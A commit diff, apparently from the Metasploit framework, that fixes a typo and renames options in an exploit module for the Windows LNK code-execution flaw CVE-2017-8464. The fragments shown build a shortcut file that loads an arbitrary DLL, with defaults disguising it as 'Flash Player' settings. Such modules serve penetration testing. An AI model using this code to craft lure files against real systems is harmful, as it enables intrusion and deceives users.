Update the advanced option names and a typo

Author: zeroSteiner

modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

@@ -26,7 +26,7 @@ def initialize(info = {})
           the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
           DLL file.
 
-          If not PATH is specified, the module will use drive letters D through Z so the files
+          If no PATH is specified, the module will use drive letters D through Z so the files
           may be placed in the root path of a drive such as a shared VM folder or USB drive.
         },
         'Author'          =>
@@ -77,14 +77,14 @@ def initialize(info = {})
     register_advanced_options(
       [
         OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
-        OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
-        OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
+        OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
+        OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
       ]
     )
   end
 
   def exploit
-    path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
     arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
     datastore['EXE::Path'] = path
     datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
@@ -117,8 +117,8 @@ def exploit
   def generate_link(path)
     vprint_status("Generating LNK file to load: #{path}")
     path << "\x00"
-    display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name
-    comment = datastore['LNK_COMMENT'].dup << "\x00"
+    display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
+    comment = datastore['LnkComment'].dup << "\x00"
 
     # Control Panel Applet ItemID with our DLL
     cpl_applet = [